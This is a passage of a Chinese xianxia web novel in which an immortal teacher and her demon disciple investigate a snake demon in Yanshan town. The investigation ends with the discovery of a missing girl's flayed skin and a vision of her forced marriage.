我这话出来,段灼立刻起誓道:“若我此话有半句虚言,那天打雷劈,不得好死。”
我宁愿他所言字句是假的,或是我宁愿段灼不敢起誓,于是我沉默了,自我与段灼说过叫他忘却后,他比从前更加沉默寡言,如今我不说话,他亦并未说别的。
我想开口说些什么,至少是叫他忘却的话,我刚想说,掌柜的从后厨中出来,见我与段灼坐在此处,道:“二位客官这么早?”
我道:“常在山中修炼,亦习惯早起。”
掌柜的了然,伸长了脖子往外看,只见天色早已放晴,大雨过后,空气中蔓延开些泥泞气息。
他喜道:“今日天气不错,想来二位客官便可往雁山镇去。”
这掌柜的倒是当做自己是没事儿人,昨夜我可未曾讨到半分好果子吃,如今正要与他说说。
我将青霜剑横在桌上,剑鞘“噌”一声撞在桌上,一阵闷响,那掌柜的吓的额间直冒冷汗,哐当一声跪坐在地上。
他面色惨白,哆嗦道:“这……这位道长这是作……作甚?”
我确实是想吓他,却并未料到能将他的三魂七魄都吓走一半。
我笑道:“昨夜之事,对我们可有隐瞒?”
掌柜道:“并……并并未隐瞒!还请道长明察!”
他虽如此说,不过看神色,我便知晓,他自是有所有隐瞒的。
我道:“是吗?我这剑术修习得并不熟练,若是不小心出鞘将你这客栈砸个稀巴烂,我可无法负责。”
那掌柜的急声道:“切莫如此呀!二位道长还想知晓些什么?我都说!我都说!”
我无声无息看了段灼一眼,见他并无别的反应,我才又将神色挪了回来。
其实我少了些为人师表的仙样。
按伏羲帝的说法,我们这些做神仙的不可与凡人起争执,若去凡间除妖,与凡人起冲突也需晓之以情,动之以理。
可我是个怕麻烦的人,威逼利诱才是解决问题的捷径,何乐而不为。
掌柜道:“这几日雁山镇妖魔作祟,不只是镇上,我们这些在雁山镇附近做小生意的人,亦人心惶惶,也曾来过几个道士,说这些女子的三魂七魄是被妖物所食,且此处的妖物为大妖,靠他们这些肉体凡胎的力量,并无除之的办法,若是有心,那便每月供奉一个妙龄女子给那妖,方能保一时太平。”
“可雁山镇本就小,何处来的这么些妙龄女子,且不说,人家父母哪能同意呢?雁山镇中,有一周姓老爷,其人为善,雁山镇中谁家有大小事,若是无法决断的,都会去找周府决断。第一个站出来反对,那道士也气恼了,说他一脸死相,当夜便打算离去。”
“谁知他走的那日,下起了倾盆大雨,他亦如那些女子,消失在雨夜中,便再无归来之时,那日夜里,横死的还有这位周姓的老爷,周老爷死在自己的房中,与那些女子的死法相同,被吸干了精气,只剩下一张皮囊。”
“这位周老爷有一女名曰周姝,曾在雨夜出走,后平安归家。”
“后来还有传言说,这雨淋不得,雨中有勾人魂魄的怪物,还会叫人浑身发热,有……之效。”
我问:“那昨日为何不与我们说?”
掌柜的面露难色道:“这位姑娘与公子皆是除妖师,想来自是与旁人不同,不会受其影响,我已将二位的住处安排得远远的,再说,这雨在体内像是能够分得清人似的,若是至亲,便不会有别的反应。”
“且……且再说,小的也是小本买卖,这几日因雁山镇这事,住店的人比往常不知少了多少,我还是i想二位客官住下,我怕二位知晓后,便不住店了,才隐瞒下来的。”
话音落到此处,掌柜抬起袖子擦拭额间的汗。
又道:“姑娘如此问我,想来是昨夜……”
我立刻道:“昨夜我睡得死,什么都未曾听见。”
我说这话之时,段灼的神色正落在我身上,我与他隔着桌子对望,他神色幽幽,像蛇一般观察着我。
我怕他脱口而出,将我的话拆穿,于是我从桌下踢了他一脚。
段灼的神色明显一愣,别过头去,我看着他侧着脸看向屋外,下颚处染着些红色,亦并无开口的打算。
我也愣了,我看着段灼下颚的红晕,不禁想起了昨夜我与段灼的那些龌龊事,如此一想,我的后腰又开始痛了。
真是畜生啊。
我不知段灼究竟哪里来的这样的牛劲儿,我怀疑他的真身不是狼,而是牛。
那掌柜的松了口气,还在说着:“想来是二位吉人自有天相!”
掌柜的又道:“那二位今日可打算进雁山镇?”
我道:“自然。”
“那周老爷虽横死,不过他女儿周姝也是心善的人,最初请道士的便是周老爷,不过……他估计并未想到,这道士竟然要他们月月献上一个妙龄姑娘。那周老爷死后,本就身体柔弱的周家小姐周姝那几日日日咳血,原本都觉得她命不久矣了,但谁知一月余,周小姐竟然奇迹般的好了起来,想来也是周老爷在天上保佑她。”
我们这些做神仙的都知晓,若是有建设庙宇,受人拜会,香火会飘到仙界,但凡人死后无法成仙的,其魂魄离体,早入轮回,更别说庇佑了。
我问道:“那这位周小姐家中,近来可有何古怪?且她是如何平安归家的?”<
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p>掌柜的仔细回忆后,惭愧道:“我只知晓那周小姐与周老爷皆是心善之人,如今周小姐与其夫君琴瑟和鸣,恩爱如初,也从未见他们二人红过脸。”
“若说如何平安归家的,我听闻,是夜里周小姐的丈夫起夜,见她不见了,便撑伞出来寻找,去后山才找到了正昏死在山洞中的周家小姐。”
“原来如此。”
我来时便知,雁山镇中之事定有妖物作祟,且我与段灼之前便猜测,会是一个比较有威望的人,至少也要是个好人,这周老爷倒是符合我与段灼的猜想。
不过他人早就死了,且还曾反对过那道士的话,又叫我觉得并非是他。
掌柜的道:“雨后地面湿滑,若是二位去,可要小心些。”
我道:“多谢。”
虽然这掌柜的昨夜有事瞒着我们,但今日的态度看起来倒是不错,对我与段灼再三叮嘱,既如此,我便原谅他了。
我与段灼稍作休息后,决定去雁山周姝家中了解情况,在所有人都死了的情况下,她还活着未免也太奇怪了些。
*
雨后晴空,放眼望去,这雁山镇的上空仍旧笼罩着细密的乌云,想来这几日夜里都会阴雨连绵了。
在去雁山镇的路上,我与段灼谁都不曾说话。
我与段灼走在去雁山镇的路上,段灼只是跟在我身后亦步亦趋,我偶尔能感受到他递过来的视线,不过我与他谁都未曾说话。
地面湿滑,空气中都是泥土的芬芳。
我垂眸看着脚下泥泞的路,若非在凡间需少用术法,不然此时我早就腾云或是御剑去了,还如何会像现在这般,踩着地面的泥泞。
段灼的视线投了过来。
顷刻间,我被段灼抱了起来,身体骤然腾空。
我与他离开客栈才几步路,我在他怀中怒道:“放肆,放我下来!”
“此处泥泞,我抱着阿姐走。”
他一只手环于我的后腰,指尖拂过我后背的每一寸肌肤,轻重有度,当真缓解了些酸痛之感。
他又小声问我:“阿姐的腰可还痛?”
当真像与我是姐弟关系,他在关心着我似的。
可在我听来他再次提起昨夜之事,叫我难免羞怯和恼怒。
我怒道:“与你无关,放我下来!”
奈何段灼扶着我腰间的手稳稳的,叫我如何挣扎都下不来。
我问道:“你忘记昨日与我说的了?”
段灼停下脚步,垂眸看着我,他的指尖爬过我的后腰,叫我无端觉得有些森然。
他道:“阿姐在意脚下的泥土,会沾湿鞋袜的雨水,我只是顺着阿姐的意,这并未违背我的话。”
这话确实将我说得哑口无言,我宁愿段灼像个哑巴似的不说话,而不是像今日这般将我堵得说不出一句话来。
43. 第四十三章
我叹了口气,只道:“我并未像你说的这般娇气。”
段灼答道:“师尊说得是。”
虽如此说,但他却并未将我放下来,这样乖顺应答的话在我听来像只是顺着我的话说,让我高兴,而非他真的这样认为。
他抱着我的继续往前走,我看着他面无表情,有些冷峻的少年侧脸道。
“我发觉你与从前不大相同。”
雨后的微风吹着我的脸颊,拂过我的发梢,叫我将面前的段灼也看得不真切。
段灼回眸看着我,鼻息打在我身上,他问:“在师尊心中,我是什么样的?”
我摇头道:“我对你也并不了解。”
段灼却低声笑,问了我一个毫不相干的问题:“师尊可知自己想要什么?”
想要什么?
从未有人问过我这个问题,我与段灼对视,恍然间那些未来我被他虐得死去活来的画面在我眼前一幕幕浮现。
我想要他死。
想来这便是我当下最想要的,不过我并未说出来。
我只道:“我并无想要的。”
段灼沉声道:“可我有想要的。”
“从前,我想要师尊多看我一眼,我想要师尊喜欢我。”
段灼看着我,继续道:“可师尊不喜欢我,甚至做不到像对待其他弟子那般平等的对我,师尊漠视我、纵容他们欺辱我。”
少年的眼眸像一汪清泉,他用那样泛着泪光,有些楚楚可怜的眼神看着我。
“不过,我知晓我的喜欢是这世上最为卑微之物,只能被踩在泥土中。”
我的心似乎在颤抖着,可我的唇中吐不出一个字。
段灼抱着我,指尖收紧了些,叫我浑身不自在,他兀自笑起来,状若疯魔。
我道:“我从来都不喜欢你,也从来都不喜欢别人。”
段灼敛起笑容,他微微垂眸,不知在看着何处,声音中竟透着些伤心,他道:“我知晓。”
“师尊是没有心的,不会爱上任何人。”
我并不同意他说的前半句话,我只是不喜欢他,如何就成了我没有心?
我也懒得去反驳他的话,只是感觉被他抚摸的后腰处还有些疼,我皱眉道:“疼。”
他松开了些。
我道:“随你如何想。”
段灼微微低头,他的鼻息流转在我的颈间,像在嗅着我身上的香气:“嗯。”
我将头偏开,尽量离他远些,我与他都不曾再说别的,我亦并未再提叫他将我放下这事,只是任由段灼步步往前走。
客栈离雁山镇不远,等到了镇前,我才出声让段灼将我放下来。
我与他少言,段灼跟在我身后,踩着日出之时跟在我身后的影子,段灼亦像是与我亦步亦趋的影。
我虽然没说话,但身上其实并不算特别舒服,我不表现出来,是因为我尚且还存在所谓的师尊骨气。
方才被他抱着还好,如今下来走两步,深觉我的身体要散架了。
约莫我走路的姿势有些怪,或是段灼平日里便习惯了视线落在我身上,我听见他在我身后,离我不远的地方问道。
“阿姐不舒服?”
我回头,咬牙道:“并无不适。”
我既说无事,段灼再问我就要恼了,或许他亦清楚这一点,便并未再多问了。
我边走边调整着自己的落脚姿势,这才终于舒服了些。
*
雁山镇外,人烟稀少但风景绝妙,若非出了那档子事儿,人人闭门谢客,估计此处像世外桃源。
镇中一片荒凉之景,我探了探,至少周围倒也并无妖物的气息,每个紧闭的屋子里都是活人的气息。
想来极有可能是那妖物会隐藏自己的气息,或是现在并不在这附近。
我与段灼此行是打算去周府的,只是那掌柜的只与我们说过大致位置,进镇以后还需找人问问。
我指着左边那扇门与段灼道:“去敲门。”
段灼上前两步,敲着我指的那扇门。
他问道:“有人在吗?”
段灼这声音听起来冰冷、僵硬,我们捉妖师这般正道人士应当是温言细语、笑如和煦的,哪有他这样的。
且再说,这样谁会开门?
果然,敲了好一会儿,无人应答。
段灼问我:“可还要继续敲?”
我指着另一边道:“换一扇门,不过你别说话。”
其实我已经发现了问题所在,极有可能是段灼说话的声音叫他们不敢开门。
我温声道:“有人吗?我们是捉妖师,初到此处,想寻一个人。”
段灼看着我,眼睛漆黑,不知在想些什么。
我与他小声道:“好好学。”
段灼道:“是。”
我这话一出,前门的木门动了动,“吱呀”一声开了一条小缝,里面是一位苍颜白发的老者,他的声如枯树缓缓道:“你们二人,找谁?”
“我们找周姝周姑娘,老伯可知她现下住在何处?”
过了不知多久,那老伯道:“你们是何处来的除妖师?”
我道:“赤水上游以北,我们二人师出昆仑。”
此处的昆仑却并非西王母所在的昆仑山,而是昆仑附近的一个凡间修行除妖的门派。
因此派在凡间颇有名气,我每每下山,若有人问,我便会说自己是昆仑一派的。
“哦……原来是昆仑之人,不过此处并非你们两个小辈能解决的,还是快些离去,保命要紧……”
他说着便要将门合上,段灼眼疾手快将那缝隙处撑住。
我笑道:“我们二人此番前来,便是受昆仑山山主之命,驱除妖邪,如何能空手而归,还望老伯告知。”
那老伯一怔,他叹了口气道:“从前……我亦是昆仑之人,不想看你们二人折在这里。”
“罢了。”
他从漆黑的门中伸出一只干枯的手,指道:“往前走一百步,再往东走五十步,便是周府,二人所寻之人便在里面。”
我道:“多谢前辈。”
我再未多问,照着他指的方向与段灼一同去寻那位周小姐。
走在路上,我问段灼:“平日里下山降妖除魔,你就是这般问那些凡人的?”
段灼点头道:“是。”
我又问:“可有人打你?”
段灼摇头道:“我与师兄们下山,敲门之事,轮不上我,也并无人打我。”
“原来如此。”
原来段灼只是依葫
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芦画瓢。
我:“……”
我这群弟子下山这么说话,没被打是祖上烧高香了。
我道:“原来如此,那不怪你了。”
段灼问:“阿姐觉得,这样说话,可有问题?”
我道:“没问题,但少了些人味。”
这话我是偷上次云恒骂我的。
段灼却道:“我本就是妖,为何会有人味?”
我:“……”
段灼这话与我那时候回答的倒是差不多。
我道:“你说得对。”
周府门前守着两个家丁,见我与段灼直奔此处来,他们神色警惕。
“二位是何人?”
我道:“捉妖师,此番前来,是拜访周家小姐周姝的,还请二位通传一声。”
一听“捉妖师”三个字,两个家丁一愣,随即恭敬行礼道:“烦请二位道长稍作歇息,我这便去寻我家小姐。”
那家丁进去没一会儿,段灼拉了拉我的手,这样冰冷的触感,叫我指尖一颤躲开了。
我原本想用神色责备段灼,谁知转头却见他神色中的难过,他将悬在半空中的手收了回去。
沉声与我道:“阿姐,看上面。”
原来是让我看,并非故意碰我的,那没事了。
我顺着他的话往上看,这周府上方缭绕着妖气。
我猜测,这问题可能就出在周府,这位周小姐周姝身上。
我道:“嗯,我看到了。”
不多时那家丁回来,跟在一个身着白衣,样貌俊美,举手投足间都是矜贵之气的男子身后。
那公子拱了拱手,说话恭敬谦卑:“有失远迎,今日阿姝身子不适,便不宜见客,二位道长由我接见,还望海涵。”
我道:“请问公子是?”
我大概能猜到此人应该是周姝的丈夫。
这人浑身上下气息浑然天成,是个完完全全的凡人,但我看他根骨奇佳,适合修仙。
那公子笑道:“我是阿姝的丈夫,鄙人赵之铭。”
笑起来有一种阴柔美,如此看来便不像是修仙,名门正派的人。
我道:“原来是赵公子。”
赵之铭笑道:“这几日天气微凉,又时时有雨,阿姝被吹病了。此处风大,二位道长不若去里面说话,我唤下人斟一壶热茶,为二位接风洗尘。”
礼数周到,说话有涵养,倒不像是穷乡僻壤养出来的公子哥。
我问道:“赵公子可是外乡人?”
赵之铭却也并未藏着,笑道:“正是,道长好眼力。”
我与赵之铭走在前面,段灼跟在我身后,一路上不言不语,只是我能够感受到段灼那漆然如鬼魅的目光一直如蛇蝎一般定格在我身上。
从方才我多看了赵之铭两眼,这样的目光便跟在我身后了。
赵之铭问:“不知二位道长如何称呼?从何处来的?”
我道:“我与他姓卫,昆仑之人。”
赵之铭:“二位是至亲?想来是姐弟的关系?”
“鄙人从前便听闻昆仑一派人才辈出,甚多飞升修仙者,今见二位器宇不凡,与我们这些世俗凡人,天壤之别。”
“想来道长作为姐姐,照顾弟弟,会辛苦一些罢?”
44. 第四十四章
“我们虽为捉妖师,却也是凡人,又何谈赵公子口中的‘天壤之别’?”
我道:“我与他确实是姐弟关系,不过我忙于修行,我这弟弟自小听话懂事,从不惹事,我并未在他身上花许多时间。”
段灼的神色并未落到我身上,只是我用余光瞥见他耳尖有些泛红。
赵之铭看着我,目光直勾勾的,笑容阴恻恻的。
他道:“如此倒是叫道长省心。”
“我曾认得一对兄弟,做哥哥的总是给弟弟收拾残局,道长以为,这叫什么?”
他说这话之时,与方才那副矜贵温润的模样截然不同。
我道:“既为至亲,血浓于水,那便是应该的。”
赵之铭却冷笑一声,不再说别的。
我问:“周小姐是如何染上风寒的?”
赵之铭的神色骤然变得担忧,他道:“起夜如厕所致。阿姝本就体弱,这才又病下了,这几日阿姝皆在房中养病,不曾出门,我日日给她送去吃食,不过尚在病中,也吃不进去多少。”
这赵之铭看起来古怪,倒是当真担心他这个妻子。
我又问:“我曾听了些旁人的传言,说这周小姐曾夜里出去后回来,想问问她是如何回来的?”
赵之铭凝眸道:“那日我摸到身边被衾冰凉,便骤然惊醒我找过许多地方,却还是找不到她,心中也愈发着急,便心一横,撑伞出门去寻她,想起他们在后山中寻到了那些女子,我这才去那处找到她了。”
“回来之时,周府灯火通明,正准备着去找我与阿姝,见我们二人回来,岳父这才松了口气。”
我道:“原来如此,我见这几日都有雨,赵公子可曾听闻雁山镇这几日有女子失踪?”
赵之铭道:“并未听闻有女子失踪。”
这时,在门口守着的家丁疾步而来,面色忧郁道:“公子!门前有人求见!”
闻言,赵之铭眉心紧蹙道:“我即刻便去。”
“二位道长请随我来。”
我与段灼跟在赵之铭身后,往周府门前去。
“求周小姐赵公子救救我家小玉罢!她今才豆蔻,接过男方彩礼,便被那妖物抓去了!求求二位救救小玉,我就是当牛做马亦会报答赵公子和周小姐的救命之恩!”
刚到门前,便见到一个苍颜白发的老妇人跪在地上,眼中含泪,口中呜咽,不停叨念着。
赵之铭上前将老妇扶起来道:“小玉与阿姝是挚友,我与阿姝定会竭尽全力。”
“谢赵公子!谢周小姐!”
待将老妇扶起来后,赵之铭不动声色将手收回了袖中。
我凝眸看着眼前这场景,这妇人满手沟壑,想来是雁山镇的庄家人,赵之铭虽说表面装得像,但应当是有些嫌恶这老妇的。
且,此处既是周府,这赵之铭想来也是入赘的,那便应该以周为尊,老妇却将“赵公子”三个字放在前,想来是……重男轻女之人。
她方才提到,男方的彩礼,想来她如此老泪纵横为的不是她那被妖物抓走的女儿,而是怕这到手的万贯彩礼飞了。
我心道,好大一出戏啊。
这小玉究竟是自己跑了还是被妖物抓走了,尚未可知。
赵之铭还在说:“这二位是今晨来雁山镇的除妖师,有他们在,伯母放心,定会将小玉寻回来。”
这帽子便扣在了我与段灼头上,我亦微微笑道:“自然。”
那老妇老泪纵横,又朝着我与段灼磕头道:“求二位道长救救小玉!我这乡野村妇,如今只有小玉这一个挂念了,我可不能没有她哟!”
赵之铭将这老妇扶起来,迎入门内,详谈究竟是怎么一回事。
老妇坐立不安,忧心忡忡道:“这几日雁山镇中本就不大太平,我都与小玉同睡,昨夜下雨,更是跟小玉再三说过,若是夜里有何声音,莫要去理会,若有事,一定要与我说才是!她答应得好好的,可今晨我起来,便到处都寻不到她了!。”
她说着又抹了两颗眼泪,“我可怜的小玉哟,想来是被妖物抓走了!这才觅得良人,又要无端受这灾祸……”
究竟是不是良人,只有那位小玉姑娘自己才知。
赵之铭还在一旁轻声安慰她,说会将小玉找回来。
待她走后,我与赵之铭道:“天色尚早,想来若有雨尚在夜里,还需劳烦赵公子派人去后山探查,这小玉姑娘可是被妖物匿藏于后山。”
赵之铭颔首:“这是赵某该做的,小玉是雁山镇的人,亦是我妻挚友,我亦希望小玉姑娘能尽早归来。”
赵之铭说得真挚,但这神色却假了几分。
我点头道:“好,夜里我布阵,灭除这作祟的妖物,还要劳烦赵公子通知各家各户切莫出门才是。”
赵之铭点头应答下,又道:“今夜有劳二位道长了,想来二位来前便知晓,雁山镇这妖物顽固,有好几批来的道士都除不掉它,或是离去,或是……死了,二位道长多多小心。”
这话说罢,赵之铭便下去安排去后山找人的事
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宜。
这妖物是开了灵智的,曾经是雨伯的徒弟,既然被发现了,怎可能还会去后山呢?
我估计那妖物是不在后山的,把赵之铭支走,不过是我觉得这周府中还有这位周小姐身上还藏着些别的秘密。
等赵之铭走后,段灼却冷不丁道:“赵之铭有问题。”
我道:“整个周府都有问题。”
不露面的周小姐,横死的周老爷,主持大局的外乡女婿,我抬头看着上空缭绕的妖气。
我无法使用仙术,会被雁山镇中匿藏的妖物感知到,需靠段灼去追踪这气味。
我问道:“你可知这妖气究竟是从周府何处透出来的?”
段灼转头,往屋外眺望,我随着他的神色看向半空中浓烟滚滚之处,那黑漆的妖物笼罩在上空。
他指着西南面道:“这边。”
我与段灼从房中出来,绕过亭台水榭,这一路上都极少遇到周府的下人,不过自进了周府后,我便开始观察,发现这其中并无几名家丁侍女,只见过两个守门的家丁,一个端茶的侍女,除此之外,再无别人。
走过长廊,那漆黑的妖雾近在眼前。
房门上着锁,我与段灼对视,须臾之间,听见屋内骤然传来女子的咳嗽声。
声若浮游,嘶哑尖锐。
我猜测这应该是那位周姝周小姐。
赵之铭许多表现都是演出来的,只有对周姝的关心似乎是真的,既如此又为何会将她锁起来?
还不等我有动向,段灼挥剑落下,赤赦剑剑气如波光粼粼,顷刻间将那桎梏斩得粉碎。
这赤赦剑我也曾拿过,赤赦的剑身比寻常的长剑更重上几倍,就算是我拿着都有些费劲,在段灼手中倒像是不费吹灰之力,看来段灼与赤赦剑意外契合。
我问道:“我还未曾说什么,你为何就将这锁斩断了?”
段灼看着我:“我以为……师尊是在用眼神暗示我。”
我:“……”
他倒是会解读我的意思。
我道:“下次不要自作主张。”
段灼点头:“是。”
三两句下去,屋内的人听见了动静,便出声问道:“可是……之铭在门外?”
她的声音中叫我听出些命不久矣。
我与段灼推门进去,屋内的妖雾比屋外看着还要浓烈,如浓烟一般将整个屋子笼罩起来。
我与段灼步于其中,犹如行于大雾之中。
这时,一只冰冷的手将我抓住。
45. 第四十五章
我低头看着那张死死抓住我的手,白净,骨节分明,是少年青筋脉络延展开的手。
我抬头,心中分明知晓抓着我的人是段灼,可我看向他之时,那张脸却开始急速变幻着。
从段灼的模样,变成了我爹我娘。
“之之,你可想爹爹与娘亲?”
“之之……爹爹和娘亲的好之之……”
“那日曾说,等大战结束后,带之之去人间逛灯会,如今我与你爹爹都有时间了,之之可要随我们去?”
他们的双手隔着虚妄抚摸在我的发间,那种温柔与温暖是我是在世上其他地方与其他人身上从未感受到过的。
我神色恍然,目光呆滞,低下头,如今无措的人该轮到我了。
旁边伸过来了另一只枯槁年迈的手,我将我的手抽出来,正要递上去。
少年却伸手紧紧抓住了我,与我十指紧扣。
我听见很远的地方,有人唤我“师尊。”
我抬头看向段灼,瞳孔逐渐聚拢。
如此才知,方才的一切都是幻象,而这幻象是眼前这浓稠的迷雾带来的。
段灼与我道,就像是我教他的那样:“师尊,屏息。”
若是方才往日里,我不会听他半句话,可如今我下意识听了他的话,收敛气息。
缓了一会儿,我的意识才回来。
段灼本就是妖,如此这迷雾才无法将他迷住,而我其实也不该被迷住。
段灼眼中那一丝一缕的担忧之色消散,他别过头不再看我,亦将手收了回去。
我冷声道:“我没事。”
我想起方才我与段灼交叠在一起的双手,想起自己方才的迷失,如今难免觉得有些丢人。
好在段灼也并未说别的话。
妖雾破开散去,才得见这屋中床榻处卧着一个面容枯槁的女子。
她瘦得脱像,衣裳逶迤在身,她抬起那双布满血丝,瞳孔近乎要散尽的双眸看向我与段灼,枯瘦的手虚扶在床边,又咳了几声。
像是看清了我们的样貌,便用气游若丝之声问道:“二位可是……可是外面来的捉妖师?”
妖气与一些浑浊的气息是从她身上溢出来的,而方才的迷雾也是为了保护她。
但我再探,这女子身上的气息虽然混杂,却是个实心的凡人,不见被附着的痕迹。
我的手中早就幻化出了青霜剑,微弱的淡青色光芒萦绕在我的指尖,我不动声色问道:“可是周姝周小姐?”
周姝道:“小女周姝,见过诸位道长。如今身子虚弱,不便与诸位道长行礼,还请见谅。”
若是真如赵之铭所言染了风寒,又何至于会变成这副模样?
更像是在刻意隐瞒周姝的病症,我不禁猜测,这些女子的失踪似乎跟周姝的病有关。
我问:“为何周小姐知晓我们是捉妖师?”
周姝脸上没什么肉,只剩一张皮,笑起来瘦骨嶙峋,叫人看了害怕:“时至今日,除了捉妖师,应当不会再有旁人进入这雁山镇了。”
她问:“之铭可有与二位道长说,这雁山镇的情况?”
我道:“赵公子知无不言。”
周姝点头道:“雁山镇闹妖许久,就连我父亲也受这妖物所害,父亲的心愿便是将这妖物赶出雁山镇,如今,我亦希望如此,那畜生是我的杀父仇人,若非如今我尚在病中,我定要将它手刃。”
我能从周姝眼中看到了清晰的恨意。
满屋妖气,这妖气纵然无意伤害周姝,却已经侵入她的凡人躯体,叫她的身体每况愈下。
我道:“周小姐放心,我们二人定会将妖物除之。”
周姝道:“那便有劳二位道长了……”
这房中的妖雾皆环绕在周姝身边,我问道:“周小姐近来可觉得有何古怪之处?”
周姝像是被我说中,神色踌躇后,回道:“这几日我噩梦频频,总是梦见一只浑身鳞片的白蛇缠着我,叫我在梦中也觉窒息无比。”
“还梦见了……我那挚友小玉趴在我怀中痛哭,无论我问什么,她都不说。”
蛇妖一族可是魔界的几个大家族之一,不过蛇多漆黑,极少有白蛇。
蛇皆性淫。
若当真是这白蛇所为,它习得了雨伯的降雨之术,加上淫性,或许能叫这空中落下叫人浑身燥热的雨。
我问:“周小姐从前可有遇到过白蛇?”
周姝凝眸道:“我少时,行于雪中,曾遇见过一只濒死的白蛇。我听闻,蛇亦靠身上鳞片的色泽区分性情,而这般洁白的蛇性温良,无毒,我见它快死了,便将它放入衣裳中为他取暖,后来他竟奇迹般的活了过来。”
周姝骤然一叹,话锋回转:“只是后来,大雪崩塌,我被埋于谷底,醒来时,一只白蛇将我缠绕在怀中,为我取暖。后来我父亲带人找到我,医治我的大夫道,我在雪中埋得太久,落下了病弱的根。我再问及旁人可见过一只白蛇,却无人见过,那之后我就并未再见过那白蛇,就像是一场梦。”
周姝不知,当蛇将那人卷入怀中之时,却并非是为了保护她,而是想要吸食她的精气。
且蛇向来浑身冰冷,又如何能为她取暖?
周姝所言的后半段极有可能是幻象。
妖与人不同,又缘何能要求妖与人一般通性情?
我又问:“周小姐与赵公子是如何认识的?”
周姝这张骨瘦如柴的脸上露出些少女般的光彩熠熠之色。
周姝道:“之铭曾是世家弟子,国破山河才落了个流离失所之境,他四处流浪,观山河图海,只是短短停驻在雁山镇,由此才与我相遇。”
若是真如她所言,是个世家弟子,此类人最是会权衡利弊,又如何会为了她抛去大好河山,留在雁山镇。
且不说,寻常凡人是很难跨过赤水的。
我问道:“赵公子所言,周小姐有几分信?”
周姝道:“之铭是不是骗我的,我身上并无什么值得他欺骗的,亦并无能够对他有所裨益的,从前我也想过,我拖着这破碎的病体,如何能得他的垂青,可他对我一直很好,想来……是因为真的爱我。”
“之铭曾在我父亲面前起誓,会永生永世爱我,保护我。”
真的爱的估计是周姝自己,若非是爱,又如何会连这么浅显的破绽都解不开呢?
回头看了段灼一眼,发觉他的目光正落在屋内某一处,像是……这床边。
我问:“发现什么了?”
段灼道:“我听见有人在床下哭。”
虽然只是轻飘飘一句,面前的周姝已被吓得六神无主。
周姝颤着唇道:“我……我一直都在屋内,床下如何会有人?我亦未曾听见有人哭,这位道长莫不是吓人的?”
她那双布满血丝的眼瞪大,因为瞳孔无法聚焦,眼睛漆黑几乎盖过眼白,睁大之时,像是要滚落出来一般。
我也并未听见有人哭,但我不觉得段灼会无端的吓人。
段灼看了我一眼,他蹲下从周姝躺着的床下扯出一张血肉模糊的人皮,那人皮上还粘黏着细碎漆黑的头发,眼眶处吊着两颗摇摇欲坠的眼珠子,密密麻麻爬了好些虫在上面。
那本就溃烂的人皮吃得残缺,将那张人皮拽出来之时,那吃人血肉的虫顺着人皮往段灼手上跳。
这虫吸附于他的手臂上,段灼扯着那虫的身体指尖用力,将其捏爆,炸开的血肉无比腐臭,弥漫在空气中。
将人皮放置在床下的人设置了结界,故而起初谁也没闻到那阵恶臭味。
而段灼听见哭声,将人皮扯出来后,结界破了,恶臭溢出。
那人皮开始在地上颤动,其上啃食皮肉的虫子落了一地,开始四散爬着,段灼抽出赤赦剑将那些企图四散的虫子斩烂,随着血肉爆开,屋子里的臭味愈发浓烈了。
那皮囊开始在地上不停的蠕动,高声尖叫,像是想要跑,想要逃走。
周姝缩在床上的角落中瑟瑟发抖着。
她的眼中流出眼泪,血夹杂着唇边的泪缓缓下滑。
“小……玉。”
“这是……小玉……”<
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p>她认出了那皮囊的主人。
我捏了个诀,骤然将这具皮囊控制住,那皮囊像是受到惊吓一般骤然落地,蜷缩成一团,也并未再发出声音,只有眼睛还在悄无声息转动着。
我问:“这是小玉?”
周姝这才将心中的恐惧努力克服,往外探着头,看着一眼床边的人皮,看完以后又骤然缩回床上,颤声道:“就是小玉,我不会看错的……”
“小玉左边眼睛下方……有一颗痣。”
我顺着她所言看了过去,确实看见了那颗痣,她的骨头血肉早就被吃干净了,只剩下一张依稀能看得出的脸,还有一双死气沉沉的眼。
“今晨,一老妇到周府门前,道自己的女儿小玉昨夜出走便再未回来。”
如此便不用再说别的,周姝已是泣不成声。
现在的问题应该是究竟谁将小玉的皮囊放在这处的?
我心中有了一个答案。
——赵之铭。
我问:“这几日可还有别人进出这个屋子?”
“只有之铭一人。”
周姝意识到我究竟在问些什么,便为赵之铭辩解道:“他并非这般残忍的人!”
“且他是凡人,并非什么妖怪,还望二位道长明鉴!”
我盯着蜷缩在地上的皮囊道:“是也不是,问问便知。”
我竖起右手,两指放在唇边,轻声默念着我只见过那凡人捉妖师施展过一次的法术。
我喝道:“成!”
指尖萦绕的点点微光落在那皮囊的额间。
一阵光圈环绕着我,我眼前的场景逐渐泛白,直至看不见任何东西。
我再次睁开眼睛,垂眸看到了一双白皙的手,这手看着白皙纤细,可掌中却都伤痕,如大地沟壑,想来是个时常下地耕作的少女。
周遭细碎的声音传入我的耳中。
这时我意识到这并非是“我”,而是我附着在一具身体上,准确说是在这个小玉的过往回忆中。
“哟,我们家小玉可是这十里八乡都挑不出一个的姑娘!放眼望去,除了周家小姐周姝,还有哪个姑娘有我们小玉好看?”
说这话的声音熟悉,想来是小玉的母亲,那位在周府门前哭丧的老妇人。
“哈哈哈哈哈……这小美人儿究竟有多水灵?爷倒是要看看!”
一阵细碎的脚步声后,我垂眸看见一双滑腻肥厚的手将“我”的下巴抬了起来。
我看了那人一眼,是个肥头大耳的男子,生得油光水滑,说话还带着一股恶臭。
我的视线从他身上挪开,看向别处,眼泪缓缓从眼眶中滑落。
那男子围着我左看右看道:“这小美人儿倒是颇有姿色,是个水灵人儿。适合做爷的小妾!老太婆,聘礼我明日便让人送来,过两日择选吉时,我便让花轿将她接到我府中!”
“自然自然,若是能得少爷的青睐,是小玉三生之幸啊!”
这是旁边站着的,另一个长着媒婆痣的老妇说的。
若非我不能动不能说话,我早就上去将这几人一人一拳打得他们躺在地上。
什么三生之幸,没见他长那副模样吗?没见还是去当妾的吗?
真是被钱蒙蔽了双眼。
等这公子和媒婆一走,小玉又复低下头,看着掌中的沟壑,开口道:“娘,我能不能不嫁?”
那老妇听了立刻道:“聘礼明日就到,还有不嫁的道理?你可放心跟着他,这少爷家大业大,至少嫁过去以后,吃穿不愁,不用再种地了。”
小玉沉默半晌,又抹着眼泪。
“我宁可成这地里庄稼的肥料,亦不想嫁给他。”
“埋在地里又有何用?这几日下雨这田都被淹了,庄稼都长不起来哟,若是再不为你寻点出路,以后咱们娘俩只能去喝西北风了哟!这几日不太平,今日夜里无论听到什么声音,都千万别起夜,娘跟你一起睡,若是有什么事,便将我叫醒,这关键时刻,可千万别出什么岔子。”
